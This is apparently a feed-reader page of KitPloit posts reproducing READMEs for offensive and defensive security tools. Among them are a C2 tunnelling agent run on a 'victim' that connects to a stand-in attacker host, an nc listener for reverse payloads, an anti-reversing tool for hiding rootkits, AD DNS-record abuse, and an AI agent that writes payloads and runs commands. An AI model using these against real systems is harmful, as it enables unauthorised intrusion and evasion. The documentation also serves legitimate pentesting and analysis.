FreshRSS

🔒
❌ Secure Planet Training Courses Updated For 2019 - Click Here
There are new available articles, click to refresh the page.
Before yesterdayKitPloit - PenTest Tools!

DroidLysis - Property Extractor For Android Apps

By: Zion3R


DroidLysis is a pre-analysis tool for Android apps: it performs repetitive and boring tasks we'd typically do at the beginning of any reverse engineering. It disassembles the Android sample, organizes output in directories, and searches for suspicious spots in the code to look at. The output helps the reverse engineer speed up the first few steps of analysis.

DroidLysis can be used over Android packages (apk), Dalvik executables (dex), Zip files (zip), Rar files (rar) or directories of files.


Installing DroidLysis

  1. Install required system packages
sudo apt-get install default-jre git python3 python3-pip unzip wget libmagic-dev libxml2-dev libxslt-dev
  1. Install Android disassembly tools

  2. Apktool ,

  3. Baksmali, and optionally
  4. Dex2jar and
  5. Obsolete: Procyon (note that Procyon only works with Java 8, not Java 11).
$ mkdir -p ~/softs
$ cd ~/softs
$ wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.9.3.jar
$ wget https://bitbucket.org/JesusFreke/smali/downloads/baksmali-2.5.2.jar
$ wget https://github.com/pxb1988/dex2jar/releases/download/v2.4/dex-tools-v2.4.zip
$ unzip dex-tools-v2.4.zip
$ rm -f dex-tools-v2.4.zip
  1. Get DroidLysis from the Git repository (preferred) or from pip

Install from Git in a Python virtual environment (python3 -m venv, or pyenv virtual environments etc).

$ python3 -m venv venv
$ source ./venv/bin/activate
(venv) $ pip3 install git+https://github.com/cryptax/droidlysis

Alternatively, you can install DroidLysis directly from PyPi (pip3 install droidlysis).

  1. Configure conf/general.conf. In particular make sure to change /home/axelle with your appropriate directories.
[tools]
apktool = /home/axelle/softs/apktool_2.9.3.jar
baksmali = /home/axelle/softs/baksmali-2.5.2.jar
dex2jar = /home/axelle/softs/dex-tools-v2.4/d2j-dex2jar.sh
procyon = /home/axelle/softs/procyon-decompiler-0.5.30.jar
keytool = /usr/bin/keytool
...
  1. Run it:
python3 ./droidlysis3.py --help

Configuration

The configuration file is ./conf/general.conf (you can switch to another file with the --config option). This is where you configure the location of various external tools (e.g. Apktool), the name of pattern files (by default ./conf/smali.conf, ./conf/wide.conf, ./conf/arm.conf, ./conf/kit.conf) and the name of the database file (only used if you specify --enable-sql)

Be sure to specify the correct paths for disassembly tools, or DroidLysis won't find them.

Usage

DroidLysis uses Python 3. To launch it and get options:

droidlysis --help

For example, test it on Signal's APK:

droidlysis --input Signal-website-universal-release-6.26.3.apk --output /tmp --config /PATH/TO/DROIDLYSIS/conf/general.conf

DroidLysis outputs:

  • A summary on the console (see image above)
  • The unzipped, pre-processed sample in a subdirectory of your output dir. The subdirectory is named using the sample's filename and sha256 sum. For example, if we analyze the Signal application and set --output /tmp, the analysis will be written to /tmp/Signalwebsiteuniversalrelease4.52.4.apk-f3c7d5e38df23925dd0b2fe1f44bfa12bac935a6bc8fe3a485a4436d4487a290.
  • A database (by default, SQLite droidlysis.db) containing properties it noticed.

Options

Get usage with droidlysis --help

  • The input can be a file or a directory of files to recursively look into. DroidLysis knows how to process Android packages, DEX, ODEX and ARM executables, ZIP, RAR. DroidLysis won't fail on other type of files (unless there is a bug...) but won't be able to understand the content.

  • When processing directories of files, it is typically quite helpful to move processed samples to another location to know what has been processed. This is handled by option --movein. Also, if you are only interested in statistics, you should probably clear the output directory which contains detailed information for each sample: this is option --clearoutput. If you want to store all statistics in a SQL database, use --enable-sql (see here)

  • DEX decompilation is quite long with Procyon, so this option is disabled by default. If you want to decompile to Java, use --enable-procyon.

  • DroidLysis's analysis does not inspect known 3rd party SDK by default, i.e. for instance it won't report any suspicious activity from these. If you want them to be inspected, use option --no-kit-exception. This usually creates many more detected properties for the sample, as SDKs (e.g. advertisment) use lots of flagged APIs (get GPS location, get IMEI, get IMSI, HTTP POST...).

Sample output directory (--output DIR)

This directory contains (when applicable):

  • A readable AndroidManifest.xml
  • Readable resources in res
  • Libraries lib, assets assets
  • Disassembled Smali code: smali (and others)
  • Package meta information: META-INF
  • Package contents when simply unzipped in ./unzipped
  • DEX executable classes.dex (and others), and converted to jar: classes-dex2jar.jar, and unjarred in ./unjarred

The following files are generated by DroidLysis:

  • autoanalysis.md: lists each pattern DroidLysis detected and where.
  • report.md: same as what was printed on the console

If you do not need the sample output directory to be generated, use the option --clearoutput.

Import trackers from Exodus etc (--import-exodus)

$ python3 ./droidlysis3.py --import-exodus --verbose
Processing file: ./droidurl.pyc ...
DEBUG:droidconfig.py:Reading configuration file: './conf/./smali.conf'
DEBUG:droidconfig.py:Reading configuration file: './conf/./wide.conf'
DEBUG:droidconfig.py:Reading configuration file: './conf/./arm.conf'
DEBUG:droidconfig.py:Reading configuration file: '/home/axelle/.cache/droidlysis/./kit.conf'
DEBUG:droidproperties.py:Importing ETIP Exodus trackers from https://etip.exodus-privacy.eu.org/api/trackers/?format=json
DEBUG:connectionpool.py:Starting new HTTPS connection (1): etip.exodus-privacy.eu.org:443
DEBUG:connectionpool.py:https://etip.exodus-privacy.eu.org:443 "GET /api/trackers/?format=json HTTP/1.1" 200 None
DEBUG:droidproperties.py:Appending imported trackers to /home/axelle/.cache/droidlysis/./kit.conf

Trackers from Exodus which are not present in your initial kit.conf are appended to ~/.cache/droidlysis/kit.conf. Diff the 2 files and check what trackers you wish to add.

SQLite database{#sqlite_database}

If you want to process a directory of samples, you'll probably like to store the properties DroidLysis found in a database, to easily parse and query the findings. In that case, use the option --enable-sql. This will automatically dump all results in a database named droidlysis.db, in a table named samples. Each entry in the table is relative to a given sample. Each column is properties DroidLysis tracks.

For example, to retrieve all filename, SHA256 sum and smali properties of the database:

sqlite> select sha256, sanitized_basename, smali_properties from samples;
f3c7d5e38df23925dd0b2fe1f44bfa12bac935a6bc8fe3a485a4436d4487a290|Signalwebsiteuniversalrelease4.52.4.apk|{"send_sms": true, "receive_sms": true, "abort_broadcast": true, "call": false, "email": false, "answer_call": false, "end_call": true, "phone_number": false, "intent_chooser": true, "get_accounts": true, "contacts": false, "get_imei": true, "get_external_storage_stage": false, "get_imsi": false, "get_network_operator": false, "get_active_network_info": false, "get_line_number": true, "get_sim_country_iso": true,
...

Property patterns

What DroidLysis detects can be configured and extended in the files of the ./conf directory.

A pattern consist of:

  • a tag name: example send_sms. This is to name the property. Must be unique across the .conf file.
  • a pattern: this is a regexp to be matched. Ex: ;->sendTextMessage|;->sendMultipartTextMessage|SmsManager;->sendDataMessage. In the smali.conf file, this regexp is match on Smali code. In this particular case, there are 3 different ways to send SMS messages from the code: sendTextMessage, sendMultipartTextMessage and sendDataMessage.
  • a description (optional): explains the importance of the property and what it means.
[send_sms]
pattern=;->sendTextMessage|;->sendMultipartTextMessage|SmsManager;->sendDataMessage
description=Sending SMS messages

Importing Exodus Privacy Trackers

Exodus Privacy maintains a list of various SDKs which are interesting to rule out in our analysis via conf/kit.conf. Add option --import_exodus to the droidlysis command line: this will parse existing trackers Exodus Privacy knows and which aren't yet in your kit.conf. Finally, it will append all new trackers to ~/.cache/droidlysis/kit.conf.

Afterwards, you may want to sort your kit.conf file:

import configparser
import collections
import os

config = configparser.ConfigParser({}, collections.OrderedDict)
config.read(os.path.expanduser('~/.cache/droidlysis/kit.conf'))
# Order all sections alphabetically
config._sections = collections.OrderedDict(sorted(config._sections.items(), key=lambda t: t[0] ))
with open('sorted.conf','w') as f:
config.write(f)

Updates

  • v3.4.6 - Detecting manifest feature that automatically loads APK at install
  • v3.4.5 - Creating a writable user kit.conf file
  • v3.4.4 - Bug fix #14
  • v3.4.3 - Using configuration files
  • v3.4.2 - Adding import of Exodus Privacy Trackers
  • v3.4.1 - Removed dependency to Androguard
  • v3.4.0 - Multidex support
  • v3.3.1 - Improving detection of Base64 strings
  • v3.3.0 - Dumping data to JSON
  • v3.2.1 - IP address detection
  • v3.2.0 - Dex2jar is optional
  • v3.1.0 - Detection of Base64 strings


Cloud_Enum - Multi-cloud OSINT Tool. Enumerate Public Resources In AWS, Azure, And Google Cloud

By: Zion3R


Multi-cloud OSINT tool. Enumerate public resources in AWS, Azure, and Google Cloud.

Currently enumerates the following:

Amazon Web Services: - Open / Protected S3 Buckets - awsapps (WorkMail, WorkDocs, Connect, etc.)

Microsoft Azure: - Storage Accounts - Open Blob Storage Containers - Hosted Databases - Virtual Machines - Web Apps

Google Cloud Platform - Open / Protected GCP Buckets - Open / Protected Firebase Realtime Databases - Google App Engine sites - Cloud Functions (enumerates project/regions with existing functions, then brute forces actual function names) - Open Firebase Apps


See it in action in Codingo's video demo here.


Usage

Setup

Several non-standard libaries are required to support threaded HTTP requests and dns lookups. You'll need to install the requirements as follows:

pip3 install -r ./requirements.txt

Running

The only required argument is at least one keyword. You can use the built-in fuzzing strings, but you will get better results if you supply your own with -m and/or -b.

You can provide multiple keywords by specifying the -k argument multiple times.

Keywords are mutated automatically using strings from enum_tools/fuzz.txt or a file you provide with the -m flag. Services that require a second-level of brute forcing (Azure Containers and GCP Functions) will also use fuzz.txt by default or a file you provide with the -b flag.

Let's say you were researching "somecompany" whose website is "somecompany.io" that makes a product called "blockchaindoohickey". You could run the tool like this:

./cloud_enum.py -k somecompany -k somecompany.io -k blockchaindoohickey

HTTP scraping and DNS lookups use 5 threads each by default. You can try increasing this, but eventually the cloud providers will rate limit you. Here is an example to increase to 10.

./cloud_enum.py -k keyword -t 10

IMPORTANT: Some resources (Azure Containers, GCP Functions) are discovered per-region. To save time scanning, there is a "REGIONS" variable defined in cloudenum/azure_regions.py and cloudenum/gcp_regions.py that is set by default to use only 1 region. You may want to look at these files and edit them to be relevant to your own work.

Complete Usage Details

usage: cloud_enum.py [-h] -k KEYWORD [-m MUTATIONS] [-b BRUTE]

Multi-cloud enumeration utility. All hail OSINT!

optional arguments:
-h, --help show this help message and exit
-k KEYWORD, --keyword KEYWORD
Keyword. Can use argument multiple times.
-kf KEYFILE, --keyfile KEYFILE
Input file with a single keyword per line.
-m MUTATIONS, --mutations MUTATIONS
Mutations. Default: enum_tools/fuzz.txt
-b BRUTE, --brute BRUTE
List to brute-force Azure container names. Default: enum_tools/fuzz.txt
-t THREADS, --threads THREADS
Threads for HTTP brute-force. Default = 5
-ns NAMESERVER, --nameserver NAMESERVER
DNS server to use in brute-force.
-l LOGFILE, --logfile LOGFILE
Will APPEND found items to specified file.
-f FORMAT, --format FORMAT
Format for log file (text,json,csv - defaults to text)
--disable-aws Disable Amazon checks.
--disable-azure Disable Azure checks.
--disable-gcp Disable Google checks.
-qs, --quickscan Disable all mutations and second-level scans

Thanks

So far, I have borrowed from: - Some of the permutations from GCPBucketBrute



Pentest-Muse-Cli - AI Assistant Tailored For Cybersecurity Professionals

By: Zion3R


Pentest Muse is an AI assistant tailored for cybersecurity professionals. It can help penetration testers brainstorm ideas, write payloads, analyze code, and perform reconnaissance. It can also take actions, execute command line codes, and iteratively solve complex tasks.


Pentest Muse Web App

In addition to this command-line tool, we are excited to introduce the Pentest Muse Web Application! The web app has access to the latest online information, and would be a good AI assistant for your pentesting job.

Disclaimer

This tool is intended for legal and ethical use only. It should only be used for authorized security testing and educational purposes. The developers assume no liability and are not responsible for any misuse or damage caused by this program.

Requirements

  • Python 3.12 or later
  • Necessary Python packages as listed in requirements.txt

Setup

Standard Setup

  1. Clone the repository:

git clone https://github.com/pentestmuse-ai/PentestMuse cd PentestMuse

  1. Install the required packages:

pip install -r requirements.txt

Alternative Setup (Package Installation)

Install Pentest Muse as a Python Package:

pip install .

Running the Application

Chat Mode (Default)

In the chat mode, you can chat with pentest muse and ask it to help you brainstorm ideas, write payloads, and analyze code. Run the application with:

python run_app.py

or

pmuse

Agent Mode (Experimental)

You can also give Pentest Muse more control by asking it to take actions for you with the agent mode. In this mode, Pentest Muse can help you finish a simple task (e.g., 'help me do sql injection test on url xxx'). To start the program with agent model, you can use:

python run_app.py agent

or

pmuse agent

Selection of Language Models

Managed APIs

You can use Pentest Muse with our managed APIs after signing up at www.pentestmuse.ai/signup. After creating an account, you can simply start the pentest muse cli, and the program will prompt you to login.

OpenAI API keys

Alternatively, you can also choose to use your own OpenAI API keys. To do this, you can simply add argument --openai-api-key=[your openai api key] when starting the program.

Contact

For any feedback or suggestions regarding Pentest Muse, feel free to reach out to us at contact@pentestmuse.ai or join our discord. Your input is invaluable in helping us improve and evolve.



BloodHound - Six Degrees Of Domain Admin

By: Zion3R


BloodHound is a monolithic web application composed of an embedded React frontend with Sigma.js and a Go based REST API backend. It is deployed with a Postgresql application database and a Neo4j graph database, and is fed by the SharpHound and AzureHound data collectors.

BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory or Azure environment. Attackers can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to identify quickly. Defenders can use BloodHound to identify and eliminate those same attack paths. Both blue and red teams can use BloodHound to easily gain a deeper understanding of privilege relationships in an Active Directory or Azure environment.

BloodHound CE is created and maintained by the BloodHound Enterprise Team. The original BloodHound was created by @_wald0, @CptJesus, and @harmj0y.


Running BloodHound Community Edition

The easiest way to get up and running is to use our pre-configured Docker Compose setup. The following steps will get BloodHound CE up and running with the least amount of effort.

  1. Install Docker Compose and ensure Docker is running. This should be included with the Docker Desktop installation
  2. Run curl -L https://ghst.ly/getbhce | docker compose -f - up
  3. Locate the randomly generated password in the terminal output of Docker Compose
  4. In a browser, navigate to http://localhost:8080/ui/login. Login with a username of admin and the randomly generated password from the logs

NOTE: going forward, the default docker-compose.yml example binds only to localhost (127.0.0.1). If you want to access BloodHound outside of localhost, you'll need to follow the instructions in examples/docker-compose/README.md to configure the host binding for the container.


Installation Error Handling
  • If you encounter a "failed to get console mode for stdin: The handle is invalid." ensure Docker Desktop (and associated Engine is running). Docker Desktop does not automatically register as a startup entry.

  • If you encounter an "Error response from daemon: Ports are not available: exposing port TCP 127.0.0.1:7474 -> 0.0.0.0:0: listen tcp 127.0.0.1:7474: bind: Only one usage of each socket address (protocol/network address/port) is normally permitted." this is normally attributed to the "Neo4J Graph Database - neo4j" service already running on your local system. Please stop or delete the service to continue.
# Verify if Docker Engine is Running
docker info

# Attempt to stop Neo4j Service if running (on Windows)
Stop-Service "Neo4j" -ErrorAction SilentlyContinue
  • A successful installation of BloodHound CE would look like the below:

https://github.com/SpecterOps/BloodHound/assets/12970156/ea9dc042-1866-4ccb-9839-933140cc38b9


Useful Links

Contact

Please check out the Contact page in our wiki for details on how to reach out with questions and suggestions.



NullSection - An Anti-Reversing Tool That Applies A Technique That Overwrites The Section Header With Nullbytes

By: Zion3R


NullSection is an Anti-Reversing tool that applies a technique that overwrites the section header with nullbytes.


Install
git clone https://github.com/MatheuZSecurity/NullSection
cd NullSection
gcc nullsection.c -o nullsection
./nullsection

Advantage

When running nullsection on any ELF, it could be .ko rootkit, after that if you use Ghidra/IDA to parse ELF functions, nothing will appear no function to parse in the decompiler for example, even if you run readelf -S / path /to/ elf the following message will appear "There are no sections in this file."

Make good use of the tool!


Note
We are not responsible for any damage caused by this tool, use the tool intelligently and for educational purposes only.


Ligolo-Ng - An Advanced, Yet Simple, Tunneling/Pivoting Tool That Uses A TUN Interface

By: Zion3R


Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS).


Features

  • Tun interface (No more SOCKS!)
  • Simple UI with agent selection and network information
  • Easy to use and setup
  • Automatic certificate configuration with Let's Encrypt
  • Performant (Multiplexing)
  • Does not require high privileges
  • Socket listening/binding on the agent
  • Multiple platforms supported for the agent

How is this different from Ligolo/Chisel/Meterpreter... ?

Instead of using a SOCKS proxy or TCP/UDP forwarders, Ligolo-ng creates a userland network stack using Gvisor.

When running the relay/proxy server, a tun interface is used, packets sent to this interface are translated, and then transmitted to the agent remote network.

As an example, for a TCP connection:

  • SYN are translated to connect() on remote
  • SYN-ACK is sent back if connect() succeed
  • RST is sent if ECONNRESET, ECONNABORTED or ECONNREFUSED syscall are returned after connect
  • Nothing is sent if timeout

This allows running tools like nmap without the use of proxychains (simpler and faster).

Building & Usage

Precompiled binaries

Precompiled binaries (Windows/Linux/macOS) are available on the Release page.

Building Ligolo-ng

Building ligolo-ng (Go >= 1.20 is required):

$ go build -o agent cmd/agent/main.go
$ go build -o proxy cmd/proxy/main.go
# Build for Windows
$ GOOS=windows go build -o agent.exe cmd/agent/main.go
$ GOOS=windows go build -o proxy.exe cmd/proxy/main.go

Setup Ligolo-ng

Linux

When using Linux, you need to create a tun interface on the Proxy Server (C2):

$ sudo ip tuntap add user [your_username] mode tun ligolo
$ sudo ip link set ligolo up

Windows

You need to download the Wintun driver (used by WireGuard) and place the wintun.dll in the same folder as Ligolo (make sure you use the right architecture).

Running Ligolo-ng proxy server

Start the proxy server on your Command and Control (C2) server (default port 11601):

$ ./proxy -h # Help options
$ ./proxy -autocert # Automatically request LetsEncrypt certificates

TLS Options

Using Let's Encrypt Autocert

When using the -autocert option, the proxy will automatically request a certificate (using Let's Encrypt) for attacker_c2_server.com when an agent connects.

Port 80 needs to be accessible for Let's Encrypt certificate validation/retrieval

Using your own TLS certificates

If you want to use your own certificates for the proxy server, you can use the -certfile and -keyfile parameters.

Automatic self-signed certificates (NOT RECOMMENDED)

The proxy/relay can automatically generate self-signed TLS certificates using the -selfcert option.

The -ignore-cert option needs to be used with the agent.

Beware of man-in-the-middle attacks! This option should only be used in a test environment or for debugging purposes.

Using Ligolo-ng

Start the agent on your target (victim) computer (no privileges are required!):

$ ./agent -connect attacker_c2_server.com:11601

If you want to tunnel the connection over a SOCKS5 proxy, you can use the --socks ip:port option. You can specify SOCKS credentials using the --socks-user and --socks-pass arguments.

A session should appear on the proxy server.

INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"

Use the session command to select the agent.

ligolo-ng » session 
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000

Display the network configuration of the agent using the ifconfig command:

[Agent : nchatelain@nworkstation] » ifconfig 
[...]
┌─────────────────────────────────────────────┐
│ Interface 3 │
├──────────────┬──────────────────────────────┤
│ Name │ wlp3s0 │
│ Hardware MAC │ de:ad:be:ef:ca:fe │
│ MTU │ 1500 │
│ Flags │ up|broadcast|multicast │
│ IPv4 Address │ 192.168.0.30/24 │
└──────────────┴──────────────────────────────┘

Add a route on the proxy/relay server to the 192.168.0.0/24 agent network.

Linux:

$ sudo ip route add 192.168.0.0/24 dev ligolo

Windows:

> netsh int ipv4 show interfaces

Idx Mét MTU État Nom
--- ---------- ---------- ------------ ---------------------------
25 5 65535 connected ligolo

> route add 192.168.0.0 mask 255.255.255.0 0.0.0.0 if [THE INTERFACE IDX]

Start the tunnel on the proxy:

[Agent : nchatelain@nworkstation] » start
[Agent : nchatelain@nworkstation] » INFO[0690] Starting tunnel to nchatelain@nworkstation

You can now access the 192.168.0.0/24 agent network from the proxy server.

$ nmap 192.168.0.0/24 -v -sV -n
[...]
$ rdesktop 192.168.0.123
[...]

Agent Binding/Listening

You can listen to ports on the agent and redirect connections to your control/proxy server.

In a ligolo session, use the listener_add command.

The following example will create a TCP listening socket on the agent (0.0.0.0:1234) and redirect connections to the 4321 port of the proxy server.

[Agent : nchatelain@nworkstation] » listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp
INFO[1208] Listener created on remote agent!

On the proxy:

$ nc -lvp 4321

When a connection is made on the TCP port 1234 of the agent, nc will receive the connection.

This is very useful when using reverse tcp/udp payloads.

You can view currently running listeners using the listener_list command and stop them using the listener_stop [ID] command:

[Agent : nchatelain@nworkstation] » listener_list 
┌───────────────────────────────────────────────────────────────────────────────┐
│ Active listeners │
├───┬─────────────────────────┬───── ───────────────────┬────────────────────────┤
│ # │ AGENT │ AGENT LISTENER ADDRESS │ PROXY REDIRECT ADDRESS │
├───┼─────────────────────────┼────────────────────────┼────────────────────────& #9508;
│ 0 │ nchatelain@nworkstation │ 0.0.0.0:1234 │ 127.0.0.1:4321 │
└───┴─────────────────────────┴────────────────────────┴────────────────────────┘

[Agent : nchatelain@nworkstation] » listener_stop 0
INFO[1505] Listener closed.

Demo

ligolo-ng_demo.mp4

Does it require Administrator/root access ?

On the agent side, no! Everything can be performed without administrative access.

However, on your relay/proxy server, you need to be able to create a tun interface.

Supported protocols/packets

  • TCP
  • UDP
  • ICMP (echo requests)

Performance

You can easily hit more than 100 Mbits/sec. Here is a test using iperf from a 200Mbits/s server to a 200Mbits/s connection.

$ iperf3 -c 10.10.0.1 -p 24483
Connecting to host 10.10.0.1, port 24483
[ 5] local 10.10.0.224 port 50654 connected to 10.10.0.1 port 24483
[ ID] Interval Transfer Bitrate Retr Cwnd
[ 5] 0.00-1.00 sec 12.5 MBytes 105 Mbits/sec 0 164 KBytes
[ 5] 1.00-2.00 sec 12.7 MBytes 107 Mbits/sec 0 263 KBytes
[ 5] 2.00-3.00 sec 12.4 MBytes 104 Mbits/sec 0 263 KBytes
[ 5] 3.00-4.00 sec 12.7 MBytes 106 Mbits/sec 0 263 KBytes
[ 5] 4.00-5.00 sec 13.1 MBytes 110 Mbits/sec 2 134 KBytes
[ 5] 5.00-6.00 sec 13.4 MBytes 113 Mbits/sec 0 147 KBytes
[ 5] 6.00-7.00 sec 12.6 MBytes 105 Mbits/sec 0 158 KBytes
[ 5] 7.00-8.00 sec 12.1 MBytes 101 Mbits/sec 0 173 KBytes
[ 5] 8. 00-9.00 sec 12.7 MBytes 106 Mbits/sec 0 182 KBytes
[ 5] 9.00-10.00 sec 12.6 MBytes 106 Mbits/sec 0 188 KBytes
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.00 sec 127 MBytes 106 Mbits/sec 2 sender
[ 5] 0.00-10.08 sec 125 MBytes 104 Mbits/sec receiver

Caveats

Because the agent is running without privileges, it's not possible to forward raw packets. When you perform a NMAP SYN-SCAN, a TCP connect() is performed on the agent.

When using nmap, you should use --unprivileged or -PE to avoid false positives.

Todo

  • Implement other ICMP error messages (this will speed up UDP scans) ;
  • Do not RST when receiving an ACK from an invalid TCP connection (nmap will report the host as up) ;
  • Add mTLS support.

Credits

  • Nicolas Chatelain <nicolas -at- chatelain.me>


Gssapi-Abuse - A Tool For Enumerating Potential Hosts That Are Open To GSSAPI Abuse Within Active Directory Networks

By: Zion3R


gssapi-abuse was released as part of my DEF CON 31 talk. A full write up on the abuse vector can be found here: A Broken Marriage: Abusing Mixed Vendor Kerberos Stacks

The tool has two features. The first is the ability to enumerate non Windows hosts that are joined to Active Directory that offer GSSAPI authentication over SSH.

The second feature is the ability to perform dynamic DNS updates for GSSAPI abusable hosts that do not have the correct forward and/or reverse lookup DNS entries. GSSAPI based authentication is strict when it comes to matching service principals, therefore DNS entries should match the service principal name both by hostname and IP address.


Prerequisites

gssapi-abuse requires a working krb5 stack along with a correctly configured krb5.conf.

Windows

On Windows hosts, the MIT Kerberos software should be installed in addition to the python modules listed in requirements.txt, this can be obtained at the MIT Kerberos Distribution Page. Windows krb5.conf can be found at C:\ProgramData\MIT\Kerberos5\krb5.conf

Linux

The libkrb5-dev package needs to be installed prior to installing python requirements

All

Once the requirements are satisfied, you can install the python dependencies via pip/pip3 tool

pip install -r requirements.txt

Enumeration Mode

The enumeration mode will connect to Active Directory and perform an LDAP search for all computers that do not have the word Windows within the Operating System attribute.

Once the list of non Windows machines has been obtained, gssapi-abuse will then attempt to connect to each host over SSH and determine if GSSAPI based authentication is permitted.

Example

python .\gssapi-abuse.py -d ad.ginge.com enum -u john.doe -p SuperSecret!
[=] Found 2 non Windows machines registered within AD
[!] Host ubuntu.ad.ginge.com does not have GSSAPI enabled over SSH, ignoring
[+] Host centos.ad.ginge.com has GSSAPI enabled over SSH

DNS Mode

DNS mode utilises Kerberos and dnspython to perform an authenticated DNS update over port 53 using the DNS-TSIG protocol. Currently dns mode relies on a working krb5 configuration with a valid TGT or DNS service ticket targetting a specific domain controller, e.g. DNS/dc1.victim.local.

Examples

Adding a DNS A record for host ahost.ad.ginge.com

python .\gssapi-abuse.py -d ad.ginge.com dns -t ahost -a add --type A --data 192.168.128.50
[+] Successfully authenticated to DNS server win-af8ki8e5414.ad.ginge.com
[=] Adding A record for target ahost using data 192.168.128.50
[+] Applied 1 updates successfully

Adding a reverse PTR record for host ahost.ad.ginge.com. Notice that the data argument is terminated with a ., this is important or the record becomes a relative record to the zone, which we do not want. We also need to specify the target zone to update, since PTR records are stored in different zones to A records.

python .\gssapi-abuse.py -d ad.ginge.com dns --zone 128.168.192.in-addr.arpa -t 50 -a add --type PTR --data ahost.ad.ginge.com.
[+] Successfully authenticated to DNS server win-af8ki8e5414.ad.ginge.com
[=] Adding PTR record for target 50 using data ahost.ad.ginge.com.
[+] Applied 1 updates successfully

Forward and reverse DNS lookup results after execution

nslookup ahost.ad.ginge.com
Server: WIN-AF8KI8E5414.ad.ginge.com
Address: 192.168.128.1

Name: ahost.ad.ginge.com
Address: 192.168.128.50
nslookup 192.168.128.50
Server: WIN-AF8KI8E5414.ad.ginge.com
Address: 192.168.128.1

Name: ahost.ad.ginge.com
Address: 192.168.128.50


WebCopilot - An Automation Tool That Enumerates Subdomains Then Filters Out Xss, Sqli, Open Redirect, Lfi, Ssrf And Rce Parameters And Then Scans For Vulnerabilities

By: Zion3R


WebCopilot is an automation tool designed to enumerate subdomains of the target and detect bugs using different open-source tools.

The script first enumerate all the subdomains of the given target domain using assetfinder, sublister, subfinder, amass, findomain, hackertarget, riddler and crt then do active subdomain enumeration using gobuster from SecLists wordlist then filters out all the live subdomains using dnsx then it extract titles of the subdomains using httpx & scans for subdomain takeover using subjack. Then it uses gauplus & waybackurls to crawl all the endpoints of the given subdomains then it use gf patterns to filters out xss, lfi, ssrf, sqli, open redirect & rce parameters from that given subdomains, and then it scans for vulnerabilities on the sub domains using different open-source tools (like kxss, dalfox, openredirex, nuclei, etc). Then it'll print out the result of the scan and save all the output in a specified directory.


Features

Usage

g!2m0:~ webcopilot -h
             
──────▄▀▄─────▄▀▄
─────▄█░░▀▀▀▀▀░░█▄
─▄▄──█░░░░░░░░░░░█──▄▄
█▄▄█─█░░▀░░┬░░▀░░█─█▄▄█
██╗░░░░░░░██╗███████╗██████╗░░█████╗░░█████╗░██████╗░██╗██╗░░░░░░█████╗░████████╗
░██║░░██╗░░██║██╔════╝██╔══██╗██╔══██╗██╔══██╗██╔══██╗██║██║░░░░░██╔══██╗╚══██╔══╝
░╚██╗████╗██╔╝█████╗░░██████╦╝██║░░╚═╝██║░░██║██████╔╝██║██║░░░░░██║░░██║░░░██║░░░
░░████╔═████║░██╔══╝░░██╔══██╗██║░░██╗██║░░██║██╔═══╝░██║██║ ░░░░██║░░██║░░░██║░░░
░░╚██╔╝░╚██╔╝░███████╗██████╦╝╚█████╔╝╚█████╔╝██║░░░░░██║███████╗╚█████╔╝░░░██║░░░
░░░╚═╝░░░╚═╝░░╚══════╝╚═════╝░░╚════╝ ░╚════╝░╚═╝░░░░░╚═╝╚══════╝░╚════╝░░░░╚═╝░░░
[●] @h4r5h1t.hrs | G!2m0

Usage:
webcopilot -d <target>
webcopilot -d <target> -s
webcopilot [-d target] [-o output destination] [-t threads] [-b blind server URL] [-x exclude domains]

Flags:
-d Add your target [Requried]
-o To save outputs in folder [Default: domain.com]
-t Number of threads [Default: 100]
-b Add your server for BXSS [Default: False]
-x Exclude out of scope domains [Default: False]
-s Run only Subdomain Enumeration [Default: False]
-h Show this help message

Example: webcopilot -d domain.com -o domain -t 333 -x exclude.txt -b testServer.xss
Use https://xsshunter.com/ or https://interact.projectdiscovery.io/ to get your server

Installing WebCopilot

WebCopilot requires git to install successfully. Run the following command as a root to install webcopilot

git clone https://github.com/h4r5h1t/webcopilot && cd webcopilot/ && chmod +x webcopilot install.sh && mv webcopilot /usr/bin/ && ./install.sh

Tools Used:

SubFinderSublist3rFindomaingfOpenRedireXdnsxsqlmapgobusterassetfinderhttpxkxssqsreplaceNucleidalfoxanewjqaquatoneurldedupeAmassgaupluswaybackurlscrlfuzz

Running WebCopilot

To run the tool on a target, just use the following command.

g!2m0:~ webcopilot -d bugcrowd.com

The -o command can be used to specify an output dir.

g!2m0:~ webcopilot -d bugcrowd.com -o bugcrowd

The -s command can be used for only subdomain enumerations (Active + Passive and also get title & screenshots).

g!2m0:~ webcopilot -d bugcrowd.com -o bugcrowd -s 

The -t command can be used to add thrads to your scan for faster result.

g!2m0:~ webcopilot -d bugcrowd.com -o bugcrowd -t 333 

The -b command can be used for blind xss (OOB), you can get your server from xsshunter or interact

g!2m0:~ webcopilot -d bugcrowd.com -o bugcrowd -t 333 -b testServer.xss

The -x command can be used to exclude out of scope domains.

g!2m0:~ echo out.bugcrowd.com > excludeDomain.txt
g!2m0:~ webcopilot -d bugcrowd.com -o bugcrowd -t 333 -x excludeDomain.txt -b testServer.xss

Example

Default options looks like this:

g!2m0:~ webcopilot -d bugcrowd.com - bugcrowd
                                ──────▄▀▄─────▄▀▄
─────▄█░░▀▀▀▀▀░░█▄
─▄▄──█░░░░░░░░░░░█──▄▄
█▄▄█─█░░▀░░┬░░▀░░█─█▄▄█
██╗░░░░░░░██╗███████╗██████╗░░█████╗░ █████╗░██████╗░██╗██╗░░░░░░█████╗░████████╗
░██║░░██╗░░██║██╔════╝██╔══██╗██╔══██╗██╔══██╗██╔══██╗██║██║░░░░░██╔══██╗╚══██╔══╝
░╚██╗████╗██╔╝█ ███╗░░██████╦╝██║░░╚═╝██║░░██║██████╔╝██║██║░░░░░██║░░██║░░░██║░░░
░░████╔═████║░██╔══╝░░██╔══██╗██║░░██╗██║░░██║██╔═══╝░██║██║░░░░░██║░░██║░░ ██║░░░
░░╚██╔╝░╚██╔╝░███████╗██████╦╝╚█████╔╝╚█████╔╝██║░░░░░██║███████╗╚█████╔╝░░░██║░░░
